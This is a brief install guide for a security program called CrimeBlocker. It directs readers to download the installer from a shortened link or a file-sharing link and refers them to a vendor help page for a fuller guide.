Quick guide to installing CrimeBlocker to protect your computers

## **Download and Launch the Installer**

Copy and paste this link into your web browser. bit.ly/crbdown

Alternate Link: <u>https://gofile.me/3fpQV/scJQPjaJ9</u>

Download and click the installer file to launch it. You can do that from any folder.

**Note:** If it does not launch, see our more detailed **CrimeBlocker Installation Guide**. The guide has instructions on how to unblock a download. Download the guide from our Help page at: <u>https://securemyfirm.com</u>
